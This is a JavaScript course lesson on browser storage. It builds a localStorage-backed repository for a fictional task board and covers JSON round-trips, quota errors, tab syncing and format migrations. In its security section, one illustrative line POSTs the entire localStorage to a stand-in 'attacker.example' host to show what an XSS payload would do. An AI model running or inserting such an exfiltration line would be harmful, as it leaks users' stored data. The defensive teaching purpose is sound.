You finished Module 6 by pressing F5 and watching all of Marta's work evaporate. It is not a bug in your code: it is that until now Nómada Tasks lived entirely in the memory of a tab, and that memory is destroyed on every reload. In this lesson you give the application its first way of remembering. You will meet every option the browser offers for storing data —cookies, localStorage, sessionStorage, IndexedDB and the Cache API—, master the Web Storage API right down to its awkward corners (it only stores strings, it is synchronous, it has a hard limit and it can fail), and build js/data/local-repository.js, the first real piece of the project's data layer. And at last you will see what that toJSON and that static fromJSON you wrote in 05-03 were for: without them, saving an instance with private fields would silently lose half the data.

Contents

  1. What "saving" means in the browser
  2. The five options, compared
  3. The Web Storage API: the six members
  4. It only stores strings: why JSON is not optional
  5. toJSON and fromJSON, the round trip
  6. The origin as a boundary
  7. localStorage versus sessionStorage
  8. The storage event: syncing two tabs
  9. Limits, quota and QuotaExceededError
  10. It is synchronous: it blocks the thread
  11. What you must never store
  12. Versioning the format and migrating
  13. Nómada Tasks: js/data/local-repository.js
  14. When 5 MB is not enough: IndexedDB and localForage
  15. Common Mistakes and Tips
  16. Exercises
  17. Conclusion

  1. What "saving" means in the browser

When a desktop application saves something, it writes a file to disk. A web page cannot do that: if any website could write wherever it liked on your computer, the web would be uninhabitable. What the browser offers instead is a private per-site store, managed by the browser itself, with strict rules about who can read what.

Three ideas to start with:

  • The browser owns the store, not your page. It can wipe it when it runs short of space, when the user clears browsing data, or when the site has not been visited for months. Never write code that assumes what you saved is still there.
  • All storage is local to one device and one browser. What Marta saves in Chrome she will not see in Firefox, nor on her phone, nor will Iván see it on his laptop. Sharing data between people requires a server, and that is what the next lesson is about.
  • Storage is not a database. There are no queries, no indexes, no transactions (except in IndexedDB). It is a box you put things into and take things out of.

With that clear, the Nómada Tasks problem becomes concrete: if at the end of every change I write the board into the store, and at startup I try to read it before falling back to data/backlog.js, the application survives F5.

  1. The five options, compared

The browser offers five mechanisms with very different purposes. Choosing the wrong one causes half the performance and security problems you see in production.

Mechanism Typical capacity Persistence Scope Mode Does it travel to the server? What it is for
Cookies ~4 KB per cookie Until its Expires/Max-Age Origin + path, configurable per domain Synchronous Yes, on every request Server session, identification. With HttpOnly and Secure
localStorage ~5-10 MB per origin Indefinite until deleted Origin Synchronous No Preferences, drafts, interface state
sessionStorage ~5-10 MB per origin As long as the tab lives Origin + tab Synchronous No Data for a multi-step wizard, temporary filters
IndexedDB Hundreds of MB or more (depending on quota) Indefinite Origin Asynchronous No Lots of data, structured objects, index lookups
Cache API Shares the origin's quota Indefinite Origin Asynchronous No Complete HTTP responses so the site works offline

Four practical consequences of this table:

  • Cookies travel on every HTTP request. Storing the board data in a cookie would mean sending that JSON to the server with every image, every stylesheet and every API call. That is why cookies are reserved for small identifiers.
  • localStorage and sessionStorage are the same API with a different lifetime. Everything you learn about one applies to the other.
  • IndexedDB is asynchronous, and that is its biggest advantage: it does not block the interface. Its cost is a notoriously uncomfortable API that almost nobody uses raw.
  • The Cache API does not store data, it stores responses. It is the service worker's building block, and you will see it in 07-05.

For Nómada Tasks, with six tasks and a handful of preferences, localStorage is exactly the right tool. Starting with IndexedDB would be like building a distribution warehouse to store one shoebox.

  1. The Web Storage API: the six members

localStorage and sessionStorage are global objects that implement the Storage interface. Their entire surface fits in one table:

Member Signature What it does If the key does not exist
setItem setItem(key, value) Stores (or overwrites)
getItem getItem(key) Reads Returns null
removeItem removeItem(key) Deletes one key Does nothing, does not fail
clear clear() Deletes everything in the origin's store
key key(index) Returns the name of the nth key Returns null
length property How many keys are stored
// Store and read
localStorage.setItem('nomada:theme', 'dark');
console.log(localStorage.getItem('nomada:theme'));      // 'dark'

// A key that does not exist returns null, NOT undefined
console.log(localStorage.getItem('nomada:language'));   // null

// Walk the whole store
console.log(localStorage.length);                       // 1
for (let i = 0; i < localStorage.length; i += 1) {
  const key = localStorage.key(i);
  console.log(key, '→', localStorage.getItem(key));
}

localStorage.removeItem('nomada:theme');
// localStorage.clear();                                 // ✗ careful: wipes the WHOLE origin

Three details worth pinning down from the start:

  • Absence is represented with null, not undefined. This matters because null ?? defaultValue works, and so does undefined ?? defaultValue; whereas getItem(...) || 'x' would betray you if the stored value were the empty string or '0'. Use ?? or compare explicitly against null.
  • clear() wipes the whole origin, not just your part of it. If another page on the same domain stores things, you take them down with you. That is why the project will use a prefix (nomada:) and delete key by key.
  • There is a property syntax (localStorage.theme = 'dark') that works, but it is a bad idea: it collides with the method names (localStorage.length = 3 does not do what it looks like) and it hides the fact that you are calling an API. Always use the methods.

A naming convention from minute one. Because the store is flat and shared by the whole origin, keys carry a namespace and a version:

const BOARD_KEY = 'nomada:board:v1';
const PREFS_KEY = 'nomada:preferences:v1';

  1. It only stores strings: why JSON is not optional

This is the limitation that causes the most headaches. Storage only stores text strings. Anything else is converted before being stored, and the conversion is done by String(), with disastrous results:

localStorage.setItem('number', 42);
console.log(localStorage.getItem('number'));           // '42'   ← string
console.log(typeof localStorage.getItem('number'));    // 'string'
console.log(localStorage.getItem('number') + 1);       // '421'  ← concatenation

localStorage.setItem('active', true);
console.log(localStorage.getItem('active') === true);  // false  ← it is 'true', the string

localStorage.setItem('tasks', [1, 2, 3]);
console.log(localStorage.getItem('tasks'));            // '1,2,3'  ← the array is gone

localStorage.setItem('task', { id: 6, title: 'Quote' });
console.log(localStorage.getItem('task'));             // '[object Object]'  ← total disaster

That last line is the classic failure: the object was converted with its default toString() and the data has disappeared for good. The fix is the one you already know from 04-08:

const task = { id: 6, title: 'Carpentry workshop quote', estimatedHours: 5 };

localStorage.setItem('nomada:task:6', JSON.stringify(task));        // ← when storing
const restored = JSON.parse(localStorage.getItem('nomada:task:6')); // ← when reading

console.log(restored.estimatedHours + 1);   // 6   ← a real number

But JSON.parse throws if the text is corrupt, and in a store the user can edit by hand from DevTools, or that was left half-written by an earlier version of your application, that happens. Bring back safeParse from 04-08:

// js/util/json.js
/** Returns the parsed object, or `fallback` if the text is null or not valid JSON. */
export function safeParse(text, fallback = null) {
  if (text === null) return fallback;
  try {
    return JSON.parse(text);
  } catch {
    return fallback;
  }
}

One piece of corrupt data must never bring down the whole application: at worst, it should make it start with the initial backlog.

  1. toJSON and fromJSON, the round trip

This is where the design from 05-03 pays off. A Task is not a plain object: it has private #status and #hours and getters on the prototype. Without toJSON, JSON.stringify(task) produces an object with fields missing and throws no error at all. With toJSON, the result is complete.

And on the way back the symmetric thing happens: JSON.parse never returns instances. It returns plain objects, without methods and without getters.

import { Task } from '../model/task.js';

const task = new Task({
  id: 6, title: 'Carpentry workshop quote', assignee: 'Iván',
  priority: 'high', tags: ['carpentry'], estimatedHours: 5,
  dueDate: '2026-09-05', reviewer: 'Marta'
});

const text = JSON.stringify(task);             // ← uses toJSON(): complete
const plain = JSON.parse(text);

console.log(plain instanceof Task);            // false
console.log(plain.isOpen);                     // undefined   ← the getter does not travel
// plain.changeStatus('in-progress');          // ✗ TypeError: not a function

const live = Task.fromJSON(plain);             // ← rebuilds AND revalidates
console.log(live instanceof Task);             // true
console.log(live.isOpen);                      // true
console.log(live.daysLeft);                    // -15

The complete cycle, drawn out:

flowchart LR
    A["Board<br/>(live instances)"] -->|"JSON.stringify · toJSON()"| B["JSON text"]
    B -->|"setItem"| C[("localStorage")]
    C -->|"getItem"| D["JSON text"]
    D -->|"safeParse · JSON.parse"| E["Plain objects"]
    E -->|"Task.fromJSON · new Board"| F["Board<br/>(live instances)"]

Remember what is lost on that trip, which you already inventoried in 04-08: undefined, functions and symbols disappear; Date becomes a string; Map, Set and NaN do not survive; Infinity turns into null. Our model is designed for that: dates are already ISO strings ('2026-09-05'), tags are already an array of strings, and there is not a single Date or Map inside Task. That was no accident.

  1. The origin as a boundary

Every store belongs to an origin, and an origin is three things together:

        https  ://  app.tallernomada.example  :  443
        └─┬─┘        └────────┬────────────┘   └┬┘
       protocol           domain              port

If any of the three changes, it is a different store and they cannot see each other:

URL A URL B Same store? Why
https://taller.example/a https://taller.example/b/c Yes The path is not part of the origin
https://taller.example http://taller.example No Different protocol
https://taller.example https://app.taller.example No Different domain
http://localhost:3000 http://localhost:8080 No Different port
https://taller.example file:///C:/project/index.html No file:// has its own origin (often opaque)

Two very practical consequences while you develop:

  • Opening index.html by double-clicking it (file://) is not the same as serving it. Besides ES modules failing because of CORS —you saw that in 05-04—, storage behaves inconsistently. Always use a local server (npx serve, the Live Server extension, python3 -m http.server).
  • Changing port "wipes" your data. It is not wiped: it is in the other origin's store. It is an endless source of scares.

An <iframe> from another origin embedded in your page accesses its own store, not yours. That separation is a security barrier, not a technical detail.

  1. localStorage versus sessionStorage

They share an API and differ only in how long they last and who can see them:

localStorage sessionStorage
Lifetime Until explicitly deleted Until the tab is closed
Shared between tabs of the same origin Yes No: each tab has its own
Survives F5 Yes Yes
Survives closing and reopening the browser Yes No
Duplicating the tab The copy inherits the contents
storage event in other tabs Yes No (only between iframes of the same tab)

The decision rule is straightforward: would the user expect to find it there tomorrow? If so, localStorage. If it is a "right now" thing, sessionStorage.

In Nómada Tasks:

// Persistent: the board and the user's preferences
localStorage.setItem('nomada:board:v1', JSON.stringify(board));
localStorage.setItem('nomada:preferences:v1', JSON.stringify({ theme: 'light', sortBy: 'priority' }));

// Ephemeral: a filter Marta switched on to look at one particular thing
sessionStorage.setItem('nomada:current-filter', JSON.stringify({ assignee: 'Iván' }));

If Marta filters by Iván in one tab to review his workload, she will not want to find that filter still applied tomorrow morning without knowing why. That is exactly the case for sessionStorage.

  1. The storage event: syncing two tabs

Marta works with two tabs open: in one she reviews the whole board and in the other she creates tasks. If she saves in one, the other keeps showing stale data. The browser tells you about it with the storage event:

window.addEventListener('storage', (event) => {
  console.log('key:',    event.key);        // 'nomada:board:v1'
  console.log('before:', event.oldValue);   // the previous JSON (string or null)
  console.log('now:',    event.newValue);   // the new JSON (string or null)
  console.log('source:', event.url);        // URL of the tab that changed it
  console.log('store:',  event.storageArea === localStorage);
});

The feature that confuses everybody: storage does NOT fire in the tab that made the change, only in the other tabs of the same origin. It is deliberate —that tab already knows what it did— but it makes the thing look broken when you test it in a single window. Open it in two tabs to see it.

Applied to the project, with the CustomEvents from 06-04 as the bridge:

// js/data/local-repository.js (excerpt)
import { EVENTS, emit } from '../view/events.js';

/** Notifies the application when ANOTHER tab changes the stored board. */
export function listenToOtherTabs(key, onChange, { signal } = {}) {
  window.addEventListener('storage', (event) => {
    if (event.key !== key) return;                 // ignore other keys in the origin
    if (event.newValue === null) return;           // somebody cleared it: you decide what to do
    onChange(JSON.parse(event.newValue));
  }, { signal });
}
// js/app.js
listenToOtherTabs('nomada:board:v1', (data) => {
  const updated = Board.importFrom(JSON.stringify(data));
  view.update({ board: updated });
  emit(document, EVENTS.BOARD_UPDATED, { source: 'other-tab' });
});

Notice the { signal }: that is the AbortController that turned up in passing in 06-04 and that you will study in depth in 07-03. It is there so you can disconnect the listener later.

For more ambitious cases there is BroadcastChannel, an explicit message channel between tabs of the same origin that does not force you to go through storage. The storage event has the advantage of already being where you are saving.

  1. Limits, quota and QuotaExceededError

The usual limit is around 5 MB per origin for Web Storage (some browsers reach 10 MB). It sounds like a lot until you store histories or base64 images. And there is a detail that doubles the consumption: strings are stored in UTF-16, so each character takes roughly 2 bytes.

When you go over, setItem throws an exception:

try {
  localStorage.setItem('nomada:board:v1', hugeText);
} catch (error) {
  // The modern standard name; old browsers use other codes
  if (error.name === 'QuotaExceededError') {
    console.warn('There is no space left in local storage.');
  } else {
    throw error;                                  // do not swallow errors you were not expecting
  }
}

There is a second cause of failure that catches people out: in private / incognito mode, some browsers give a quota of zero or close the store off. When browsing with cookies blocked entirely, even accessing localStorage can throw SecurityError. That is why the availability check is done like this:

/** Can we actually write to this store? */
export function storageAvailable(type = 'localStorage') {
  try {
    const store = window[type];
    const probe = '__probe__';
    store.setItem(probe, probe);                  // really write, not just check that it exists
    store.removeItem(probe);
    return true;
  } catch {
    return false;
  }
}

if ('localStorage' in window) is not enough: the object can exist and still fail when writing. You have to try to write.

And what do you do if it is not available? Never break. Degrade:

/** In-memory fallback: same API, but it only lasts as long as the page. */
function inMemoryStore() {
  const map = new Map();
  return {
    getItem: (k) => (map.has(k) ? map.get(k) : null),
    setItem: (k, v) => map.set(k, String(v)),
    removeItem: (k) => map.delete(k)
  };
}

const store = storageAvailable() ? window.localStorage : inMemoryStore();

The application keeps working exactly the same; it simply does not remember anything between reloads. That is progressive enhancement: persistence is an enhancement, not a requirement for starting up.

To find out how much space is really available there is the modern Storage API:

if (navigator.storage?.estimate) {
  const { usage, quota } = await navigator.storage.estimate();
  console.log(`Used ${(usage / 1048576).toFixed(2)} MB out of ${(quota / 1048576).toFixed(0)} MB`);
}

  1. It is synchronous: it blocks the thread

This is where it connects with the event loop from 05-07. localStorage.setItem is a synchronous, blocking operation: while it is writing, the main thread runs nothing else. It does not paint, it does not respond to clicks, it does not process microtasks.

With six tasks it is imperceptible. With a multi-megabyte JSON saved on every keystroke, the interface freezes visibly.

// ✗ Saving on every key: writes dozens of times per second
searchField.addEventListener('input', () => {
  localStorage.setItem('nomada:board:v1', JSON.stringify(board));   // repeated blocking
});

// ✓ Damped with the debounce from 03-04 / 06-07
import { debounce } from '../util/time.js';
const debouncedSave = debounce(() => repository.save(board), 500);
searchField.addEventListener('input', debouncedSave);

Two rules of hygiene:

  • Save when a change finishes, not while it is happening. A completed submit, a status change, a deletion: those are moments to save. Every keystroke is not.
  • Serialize once. JSON.stringify of a big board costs something too. Do not call it inside a loop.

If you find yourself needing to write a lot and often, the answer is not to optimize localStorage: it is to switch to IndexedDB, which is asynchronous by design.

  1. What you must never store

localStorage is accessible from any JavaScript that runs on your page. Any: your code, the charting library you installed, the analytics script, and also the code an attacker manages to inject through XSS (the same XSS you studied in 06-02 with innerHTML). A single line is enough to take it all:

// What an XSS would run on your page, if there were anything worth stealing
fetch('https://attacker.example/steal', { method: 'POST', body: JSON.stringify(localStorage) });
Do not store Why Where it belongs
Session tokens, JWTs, API keys An XSS steals them and impersonates the user; they do not expire on their own HttpOnly + Secure + SameSite cookie, managed by the server
Passwords (in the clear or encrypted on the client) The decryption key would sit right next to the data Nowhere on the client
Personally identifiable data without a legal basis The browser encrypts nothing; the device may be shared Server, with a privacy review
Health, financial or minors' data Specially protected categories Never on the client without legal advice
Data other users should not see A shared computer exposes it to the next user Server with access control

Three warnings you need to internalize:

  • localStorage is not encrypted. It is visible in plain text in DevTools → Application → Local Storage, and on disk.
  • It does not expire on its own. A cookie expires; a localStorage key is still there two years from now if nobody deletes it.
  • Real personal data demands a legal review. In a real project, storing names, email addresses, postal addresses or any data that identifies a person in the browser falls within the scope of the GDPR and of your organization's internal policies. It must go through legal and compliance review before a single line is written, and it must be documented what is stored, why and for how long. In this course the Taller Nómada team —Marta, Iván and Lucía— is fictional, and we store only a first name as an assignment label; in your company, that same decision is not yours to make alone.

  1. Versioning the format and migrating

The day you change the model —add a field, rename another— the stored data will be in the old format. If your code assumes the new one, the application breaks precisely for your most loyal users, who are the ones with data.

The fix is for the stored data to say what format it is in. That is why the toJSON of Board you wrote in 05-03 already included version: 1, and why the key is called nomada:board:v1.

const CURRENT_VERSION = 2;

/** Brings a stored object up from any earlier version to the current one. */
function migrate(data) {
  let current = data;

  if (current.version === 1) {
    current = {
      ...current,
      version: 2,
      tasks: current.tasks.map((t) => ({ ...t, reviewer: t.reviewer ?? null }))   // new field
    };
  }

  // if (current.version === 2) { … future migration to 3 … }

  if (current.version !== CURRENT_VERSION) {
    throw new DataError(`I do not know how to migrate version ${current.version}.`);
  }
  return current;
}

Three rules of versioning:

  • Chained migrations, not jumps. From 1 to 2, from 2 to 3. That way you write each step only once, even if the user is coming from a long way back.
  • Never migrate destructively. Write the migrated result only when the migration has finished cleanly.
  • If you do not know how to migrate, discard gracefully. Better to start with the initial backlog and say so than to start broken.

  1. Nómada Tasks: js/data/local-repository.js

Now we put it all together in the first real piece of the js/data/ folder. The module has a single responsibility: translating between the live board and the text store. It knows nothing about the DOM or about business rules.

// js/data/local-repository.js
import { Board } from '../model/board.js';
import { DataError } from '../model/errors.js';

const KEY = 'nomada:board:v1';
const CURRENT_VERSION = 1;

/** Can we actually write to localStorage? (private mode, blocked cookies…) */
function storageAvailable() {
  try {
    const probe = '__nomada_probe__';
    localStorage.setItem(probe, '1');
    localStorage.removeItem(probe);
    return true;
  } catch {
    return false;
  }
}

/** Silent fallback: same interface, no real persistence. */
function inMemoryStore() {
  const map = new Map();
  return {
    getItem: (k) => (map.has(k) ? map.get(k) : null),
    setItem: (k, v) => { map.set(k, String(v)); },
    removeItem: (k) => { map.delete(k); }
  };
}

export class LocalRepository {
  #store;
  #key;
  #persistent;

  constructor({ key = KEY, store } = {}) {
    this.#key = key;
    this.#persistent = storageAvailable();
    this.#store = store ?? (this.#persistent ? window.localStorage : inMemoryStore());
  }

  /** true if the data will survive a reload. The view can warn if it is false. */
  get persistent() {
    return this.#persistent;
  }

  /**
   * Writes the board. Returns true if it was saved, false if there was no space.
   * Does not throw when out of quota: losing persistence must not bring the application down.
   */
  save(board) {
    try {
      this.#store.setItem(this.#key, JSON.stringify(board));   // uses toJSON() of Board and of each Task
      return true;
    } catch (error) {
      if (error.name === 'QuotaExceededError') {
        console.warn('[nomada] No space left in local storage; changes will not be saved.');
        return false;
      }
      throw error;
    }
  }

  /**
   * Reads the stored board.
   * Returns null if there is nothing or if what is stored is unusable: the caller decides the fallback.
   */
  load() {
    const text = this.#store.getItem(this.#key);
    if (text === null) return null;

    let data;
    try {
      data = JSON.parse(text);
    } catch {
      console.warn('[nomada] Corrupt data in the store; discarding it.');
      this.clear();
      return null;
    }

    if (data?.version !== CURRENT_VERSION) {
      console.warn(`[nomada] Unknown version (${data?.version}); discarding it.`);
      this.clear();
      return null;
    }

    try {
      return Board.importFrom(JSON.stringify(data));   // rebuilds instances AND revalidates R1-R10
    } catch (error) {
      if (error instanceof DataError) {
        console.warn('[nomada] The stored board does not pass validation:', error.message);
        this.clear();
        return null;
      }
      throw error;
    }
  }

  /** Deletes ONLY our key. Never localStorage.clear(). */
  clear() {
    this.#store.removeItem(this.#key);
  }
}

Four design decisions worth a comment:

  • load() returns null, it does not throw. "There is nothing stored" is a normal situation, not an error. The caller decides what to do, and what it does is fall back to the initial backlog.
  • Any unusable data is discarded and cleared. Losing corrupt data is preferable to dragging it along: the user sees an initial board, not a blank screen.
  • Board.importFrom revalidates. Because it rebuilds Task instances, all the rules R1-R10 are checked again. If somebody edited the JSON by hand in DevTools and set estimatedHours: 500, the ValidationError fires and the data is discarded. Never trust what comes out of the store.
  • The constructor accepts a store. That way you will be able to pass it a double in Module 8 and test the repository without a browser.

And the integration in the entry point:

// js/app.js
import { Board } from './model/board.js';
import { createBacklog } from './data/backlog.js';
import { LocalRepository } from './data/local-repository.js';
import { BoardView } from './view/board-view.js';
import { EVENTS } from './view/events.js';
import { debounce } from './util/time.js';
import { TODAY } from './util/dates.js';
import { $ } from './view/dom.js';

const repository = new LocalRepository();

// 1 · What is stored wins; if there is nothing, the initial backlog
const board = repository.load() ?? new Board('Taller Nómada', createBacklog());

const view = new BoardView({ container: $('.board'), summary: $('#summary'), board, today: TODAY });
view.render();

// 2 · Save when something changes, damped so as not to block the thread
const save = debounce(() => repository.save(board), 300);
document.addEventListener(EVENTS.TASK_CHANGED, save);
document.addEventListener(EVENTS.TASK_CREATED, save);

// 3 · Another of the team's tabs changed the data
window.addEventListener('storage', (event) => {
  if (event.key !== 'nomada:board:v1') return;
  const reloaded = repository.load();
  if (reloaded !== null) view.update({ board: reloaded });
});

// 4 · If there is no persistence, say so instead of lying
if (!repository.persistent) {
  $('#notice').textContent = 'No-save mode: changes will be lost when you close the page.';
  $('#notice').hidden = false;
}

Save, reload with F5 and check: the board comes back exactly as you left it. Marta can close her laptop.

Notice point 2: the application does not call save from the controller or from the view. It listens to the CustomEvents you were already emitting in 06-04. Persistence has been added without touching a line of the model or of the views, which is exactly what a layered architecture promises.

  1. When 5 MB is not enough: IndexedDB and localForage

If Nómada Tasks grew to storing attachments, a complete change history or thousands of tasks, localStorage would fall short for two reasons at once: the quota and the thread blocking. The next step up is IndexedDB: a transactional, object-oriented database, with indexes and asynchronous.

// Raw IndexedDB: powerful, but verbose and event-based rather than promise-based
const request = indexedDB.open('nomada', 1);

request.onupgradeneeded = (event) => {
  const db = event.target.result;
  const store = db.createObjectStore('tasks', { keyPath: 'id' });
  store.createIndex('by-assignee', 'assignee', { unique: false });
};

request.onsuccess = (event) => {
  const db = event.target.result;
  const tx = db.transaction('tasks', 'readwrite');
  tx.objectStore('tasks').put({ id: 6, title: 'Carpentry workshop quote' });
  tx.oncomplete = () => console.log('saved');
};

That style with onsuccess/onupgradeneeded predates promises and clashes with everything you learned in 05-06. That is why almost nobody uses IndexedDB directly. Two common wrappers:

Option Idea When to choose it
localForage Offers the localStorage API (getItem/setItem) but with promises, on top of IndexedDB, falling back to Web Storage if needed Migrating away from localStorage without changing the design
idb Wraps IndexedDB in promises while keeping its whole model (transactions, indexes, cursors) You need real queries and indexes
// With localForage the repository barely changes… except that it is now asynchronous
import localforage from 'localforage';

async save(board) {
  await localforage.setItem('nomada:board', board.toJSON());   // accepts objects, no stringify
}

Notice the important detail: IndexedDB (and therefore localForage) uses the structured clone algorithm, the same one behind structuredClone from 04-08. That means it accepts objects, Date, Map and Set without serializing to text… but it does not accept instances with private fields, so you still need toJSON() when storing and fromJSON when reading. The pattern you have learned still holds.

Practical rule: start with localStorage. Move to IndexedDB when you measure that you need it, not before. Nómada Tasks does not need it.

Common Mistakes and Tips

  • Storing an object without JSON.stringify. The result is '[object Object]' and the data is lost with no error whatsoever. If you see that string when reading, you know what happened.
  • Forgetting JSON.parse when reading. getItem always returns a string. data.tasks.length on a string gives undefined or the number of characters, and the confusion lasts for hours.
  • Confusing null with undefined. getItem on a non-existent key returns null. Check with === null or use ??.
  • Using || for the default value. Number(localStorage.getItem('pages')) || 10 turns a legitimately stored 0 into 10. Use ?? on the already-parsed value.
  • Calling localStorage.clear(). It wipes the whole origin, including data from other pages on the same domain. Delete your keys one by one, and that is why you prefix them.
  • Trusting the data you read. The user can edit it in DevTools. Always validate when rebuilding; that is what Board.importFrom revalidating is for.
  • Not wrapping setItem in try/catch. A full quota or private mode makes it throw, and a failure to save must not bring the interface down.
  • Saving on every keystroke. It is synchronous and it blocks. Damp it with debounce and save when operations close.
  • Storing session tokens. It is the most widespread bad practice and the most expensive one: it turns any XSS into account theft.
  • Testing the storage event in a single tab. It does not fire in the tab that made the change. Open two.
  • Tip: use prefixes and a version in your keys (nomada:board:v1). It lets you list what is yours, delete what is yours and migrate formats without guessing.
  • Tip: inspect the store in DevToolsApplication tab → Local Storage. You can view, edit and delete keys by hand; it is the fastest way to reproduce a piece of corrupt data.
  • Tip: store data, not interface. Store the board, not the generated HTML. HTML gets rebuilt; data does not.

Exercises

Exercise 1 — Preferences with sessionStorage and localStorage. Write a module js/data/preferences.js that exports readPreferences() and savePreference(key, value). The preferences are { theme: 'light' | 'dark', sortBy: 'priority' | 'date', compactColumns: boolean }, they are stored in localStorage under 'nomada:preferences:v1' and they must have default values if there is nothing stored or if the JSON is corrupt. Add saveTemporaryFilter(filter) and readTemporaryFilter() using sessionStorage. Careful with boolean preferences: false is a legitimate value.

Exercise 2 — Detecting and surviving a full quota. Write a function probeQuota() that writes ever bigger strings into localStorage under the key '__quota__' until QuotaExceededError fires, reports to the console roughly how many KB the browser accepted and leaves the store clean whatever happens. Then use that information to write saveWithRetry(repository, board, history): if save returns false, trim history in half and try again, up to a maximum of three attempts.

Exercise 3 — Migration from version 1 to version 2. The model changes: tasks now have a new field blockedBy (array of ids, [] by default) and the field reviewer is renamed to reviewedBy. Write migrate(data) that accepts an object stored with version: 1 and returns a correct one with version: 2, and modify LocalRepository.load() so that it applies the migration, stores the migrated result and only then builds the board. If the version is unknown, it must be discarded as before.

Solutions

Solution 1

// js/data/preferences.js
const PREFS_KEY = 'nomada:preferences:v1';
const FILTER_KEY = 'nomada:current-filter';

const DEFAULTS = Object.freeze({ theme: 'light', sortBy: 'priority', compactColumns: false });

function safeParse(text, fallback) {
  if (text === null) return fallback;
  try {
    const value = JSON.parse(text);
    return (value !== null && typeof value === 'object') ? value : fallback;
  } catch {
    return fallback;
  }
}

export function readPreferences() {
  const stored = safeParse(localStorage.getItem(PREFS_KEY), {});
  // The spread applies the defaults ONLY to missing keys: a stored false is respected
  return { ...DEFAULTS, ...stored };
}

export function savePreference(key, value) {
  if (!(key in DEFAULTS)) throw new Error(`Unknown preference: ${key}`);
  const current = readPreferences();
  const updated = { ...current, [key]: value };        // immutable update (04-07)
  try {
    localStorage.setItem(PREFS_KEY, JSON.stringify(updated));
  } catch {
    console.warn('[nomada] The preference could not be saved.');
  }
  return updated;
}

export function saveTemporaryFilter(filter) {
  sessionStorage.setItem(FILTER_KEY, JSON.stringify(filter));
}

export function readTemporaryFilter() {
  return safeParse(sessionStorage.getItem(FILTER_KEY), { assignee: null, text: '' });
}

The key is { ...DEFAULTS, ...stored }: the spread from 04-07 fills in only what is missing. If you had written stored.compactColumns || DEFAULTS.compactColumns, a stored false would become false by coincidence… but a 0 or an empty string in another preference would be lost. The spread does not have that problem because it distinguishes absent from falsy.

Solution 2

export function probeQuota() {
  const KEY = '__quota__';
  const block = 'x'.repeat(1024);           // 1 KiB of characters (≈2 KB in UTF-16)
  let accumulated = '';
  let kb = 0;

  try {
    // Deliberately infinite loop: it exits through the exception
    for (;;) {
      accumulated += block;
      localStorage.setItem(KEY, accumulated);
      kb += 1;
    }
  } catch (error) {
    if (error.name !== 'QuotaExceededError' && error.name !== 'SecurityError') throw error;
    console.log(`Approximate quota: ${kb} KB of characters (~${(kb * 2 / 1024).toFixed(1)} MB in reality)`);
    return kb;
  } finally {
    localStorage.removeItem(KEY);            // ← runs whatever happens (02-05)
  }
}

export function saveWithRetry(repository, board, history) {
  let trimmed = [...history];
  for (let attempt = 1; attempt <= 3; attempt += 1) {
    if (repository.save(board)) {
      return { saved: true, attempts: attempt, history: trimmed };
    }
    trimmed = trimmed.slice(Math.ceil(trimmed.length / 2));   // keeps the most recent part
    console.warn(`[nomada] Retry ${attempt}: history trimmed to ${trimmed.length} entries.`);
  }
  return { saved: false, attempts: 3, history: trimmed };
}

The finally is essential: without it, a failure would leave megabytes of rubbish taking up the user's quota. And notice that slicing from the middle keeps the end of the history, which is the recent part and therefore the valuable one.

Solution 3

const CURRENT_VERSION = 2;

export function migrate(data) {
  let current = data;

  if (current.version === 1) {
    current = {
      version: 2,
      name: current.name,
      tasks: current.tasks.map(({ reviewer, ...rest }) => ({
        ...rest,
        reviewedBy: reviewer ?? null,      // renamed
        blockedBy: []                      // new field with its default value
      }))
    };
  }

  if (current.version !== CURRENT_VERSION) {
    throw new DataError(`I do not know how to migrate version ${current.version}.`);
  }
  return current;
}
// inside LocalRepository.load(), after the JSON.parse
let migrated;
try {
  migrated = migrate(data);
} catch (error) {
  console.warn('[nomada]', error.message);
  this.clear();
  return null;
}

if (migrated !== data) {
  this.#store.setItem(this.#key, JSON.stringify(migrated));   // consolidate the migration
}

return Board.importFrom(JSON.stringify(migrated));

Two details: the destructuring ({ reviewer, ...rest }) from 04-07 removes the old property at the same time as it captures its value, which is the idiomatic way of renaming a field; and the migration is only written to the store if something actually changed, so as not to rewrite on every startup.

Conclusion

Nómada Tasks remembers now. You know that the browser offers five stores with different purposes —cookies for what has to travel to the server, localStorage and sessionStorage for small synchronous data, IndexedDB for volume and structure, the Cache API for HTTP responses— and you can justify why the project uses localStorage. You have mastered the six members of the Web Storage API, and you have it engraved that it only stores strings: hence JSON.stringify and JSON.parse being compulsory, safeParse protecting you from corrupt data, and the toJSON and static fromJSON you wrote in 05-03 turning out to be exactly the missing piece —without them, the private fields #status and #hours would have been silently lost, and on the way back you would have plain objects with no methods and no getters.

You know that the origin (protocol, domain and port) is the boundary of the store, and why changing port seems to wipe your data. You know how to choose between indefinite persistence and tab lifetime with one simple question, how to sync two open tabs with the storage event —which never fires in the tab that made the change— and how to plug that sync into the CustomEvents from 06-04 without touching the view. And you know the three ways this fails in production: the quota of about 5 MB with its QuotaExceededError, private mode where merely accessing can throw SecurityError —hence the check that really tries to write and the in-memory fallback—, and the fact that it is synchronous and blocks the thread, which links straight back to the event loop from 05-07 and forces you to damp with debounce. Above all the technical detail stands the warning you must not forget: localStorage is not encrypted, it does not expire and any XSS reads the whole of it, so no tokens, no passwords and no personal data without a legal basis and without a compliance review.

And you have the first piece of the data layer: js/data/local-repository.js, with save(board), load() and clear(), which discards what is corrupt, revalidates with Board.importFrom because you never trust what comes out of the store, versions the format with nomada:board:v1 and knows how to migrate. The application starts from what is stored, falls back to the initial backlog if there is nothing, and saves by listening to the events it was already emitting. The model has not changed a single line.

But local persistence only solves half the problem posed at the end of Module 6. Marta no longer loses her work on reload… and she is still the only one who sees it. Iván has his own localStorage on his laptop, with his own copy of the board, and Lucía a different one on hers. Three parallel truths that never meet. For the board to be the same one for the whole team you need data that lives outside the browser, on a server, and a way of talking to it without reloading the page. That is exactly what the next lesson brings: The Fetch API and AJAX, where the js/data/local-repository.js you have just written will get a sibling, js/data/tasks-api.js, and where you will finally replace those readSimulatedBacklog() and saveSimulatedReport() functions from 05-06 —the ones that faked latency with setTimeout— with real requests.

JavaScript Course: From Beginner to Advanced

Module 1: Introduction to JavaScript

Module 2: Control Structures

Module 3: Functions

Module 4: Objects and Arrays

Module 5: Advanced Objects and Functions

Module 6: The Document Object Model (DOM)

Module 7: Browser APIs and Advanced Topics

Module 8: Testing and Debugging

Module 9: Performance and Optimization

Module 10: JavaScript Frameworks and Libraries

Module 11: Final Project

© Copyright 2026. All rights reserved